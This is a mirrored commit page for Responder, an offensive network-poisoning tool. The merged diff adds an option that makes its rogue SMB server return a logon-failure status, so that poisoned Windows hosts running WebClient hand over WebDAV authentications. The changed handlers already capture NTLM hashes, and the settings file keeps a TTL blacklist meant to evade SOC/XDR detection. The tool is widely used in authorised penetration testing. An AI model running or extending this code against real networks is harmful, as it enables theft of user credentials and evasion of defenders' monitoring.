mirror of
https://github.com/lgandx/Responder.git
synced 2025-07-06 04:51:23 -07:00
Merge pull request #308 from BlWasp/error_code_returned
Add control on the status code returned by the SMB server
This commit is contained in:
commit
41ed7c4f4a
4 changed files with 17 additions and 2 deletions
|
@ -173,6 +173,11 @@ Options:
|
||||||
answer's canonical name is the same as the query.
|
answer's canonical name is the same as the query.
|
||||||
Changing this value is mainly useful when attempting
|
Changing this value is mainly useful when attempting
|
||||||
to perform Kebreros relaying over HTTP.
|
to perform Kebreros relaying over HTTP.
|
||||||
|
-E, --ErrorCode Changes the error code returned by the SMB server to
|
||||||
|
STATUS_LOGON_FAILURE. By default, the status is
|
||||||
|
STATUS_ACCESS_DENIED. Changing this value permits to
|
||||||
|
obtain WebDAV authentications from the poisoned
|
||||||
|
machines where the WebClient service is running.
|
||||||
|
|
||||||
|
|
||||||
## Donation ##
|
## Donation ##
|
||||||
|
|
|
@ -47,6 +47,7 @@ parser.add_option('--disable-ess', action="store_true", help="Force ESS
|
||||||
parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose")
|
parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose")
|
||||||
parser.add_option('-t','--ttl', action="store", help="Change the default Windows TTL for poisoned answers. Value in hex (30 seconds = 1e). use '-t random' for random TTL", dest="TTL", metavar="1e", default=None)
|
parser.add_option('-t','--ttl', action="store", help="Change the default Windows TTL for poisoned answers. Value in hex (30 seconds = 1e). use '-t random' for random TTL", dest="TTL", metavar="1e", default=None)
|
||||||
parser.add_option('-N', '--AnswerName', action="store", help="Specifies the canonical name returned by the LLMNR poisoner in tits Answer section. By default, the answer's canonical name is the same as the query. Changing this value is mainly useful when attempting to perform Kebreros relaying over HTTP.", dest="AnswerName", default=None)
|
parser.add_option('-N', '--AnswerName', action="store", help="Specifies the canonical name returned by the LLMNR poisoner in tits Answer section. By default, the answer's canonical name is the same as the query. Changing this value is mainly useful when attempting to perform Kebreros relaying over HTTP.", dest="AnswerName", default=None)
|
||||||
|
parser.add_option('-E', '--ErrorCode', action="store_true", help="Changes the error code returned by the SMB server to STATUS_LOGON_FAILURE. By default, the status is STATUS_ACCESS_DENIED. Changing this value permits to obtain WebDAV authentications from the poisoned machines where the WebClient service is running.", dest="ErrorCode", default=False)
|
||||||
options, args = parser.parse_args()
|
options, args = parser.parse_args()
|
||||||
|
|
||||||
if not os.geteuid() == 0:
|
if not os.geteuid() == 0:
|
||||||
|
|
|
@ -239,7 +239,11 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
|
||||||
## Session Setup 3 answer SMBv2.
|
## Session Setup 3 answer SMBv2.
|
||||||
if data[16:18] == b'\x01\x00' and GrabMessageID(data)[0:1] == b'\x02' or GrabMessageID(data)[0:1] == b'\x03' and data[4:5] == b'\xfe':
|
if data[16:18] == b'\x01\x00' and GrabMessageID(data)[0:1] == b'\x02' or GrabMessageID(data)[0:1] == b'\x03' and data[4:5] == b'\xfe':
|
||||||
ParseSMBHash(data, self.client_address[0], Challenge)
|
ParseSMBHash(data, self.client_address[0], Challenge)
|
||||||
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data).decode('latin-1'))
|
if settings.Config.ErrorCode:
|
||||||
|
ntstatus="\x6d\x00\x00\xc0"
|
||||||
|
else:
|
||||||
|
ntstatus="\x22\x00\x00\xc0"
|
||||||
|
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus=ntstatus, SessionID=GrabSessionID(data).decode('latin-1'))
|
||||||
t = SMB2Session2Data()
|
t = SMB2Session2Data()
|
||||||
packet1 = str(head)+str(t)
|
packet1 = str(head)+str(t)
|
||||||
buffer1 = StructPython2or3('>i', str(packet1))+str(packet1)
|
buffer1 = StructPython2or3('>i', str(packet1))+str(packet1)
|
||||||
|
@ -357,7 +361,11 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version
|
||||||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||||
else:
|
else:
|
||||||
ParseLMNTHash(data,self.client_address[0], Challenge)
|
ParseLMNTHash(data,self.client_address[0], Challenge)
|
||||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
|
if settings.Config.ErrorCode:
|
||||||
|
ntstatus="\x6d\x00\x00\xc0"
|
||||||
|
else:
|
||||||
|
ntstatus="\x22\x00\x00\xc0"
|
||||||
|
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode=ntstatus,pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
|
||||||
Packet = str(head) + str(SMBSessEmpty())
|
Packet = str(head) + str(SMBSessEmpty())
|
||||||
Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
|
Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
|
||||||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||||
|
|
|
@ -173,6 +173,7 @@ class Settings:
|
||||||
self.ExternalIP6 = options.ExternalIP6
|
self.ExternalIP6 = options.ExternalIP6
|
||||||
self.Quiet_Mode = options.Quiet
|
self.Quiet_Mode = options.Quiet
|
||||||
self.AnswerName = options.AnswerName
|
self.AnswerName = options.AnswerName
|
||||||
|
self.ErrorCode = options.ErrorCode
|
||||||
|
|
||||||
# TTL blacklist. Known to be detected by SOC / XDR
|
# TTL blacklist. Known to be detected by SOC / XDR
|
||||||
TTL_blacklist = [b"\x00\x00\x00\x1e", b"\x00\x00\x00\x78", b"\x00\x00\x00\xa5"]
|
TTL_blacklist = [b"\x00\x00\x00\x1e", b"\x00\x00\x00\x78", b"\x00\x00\x00\xa5"]
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue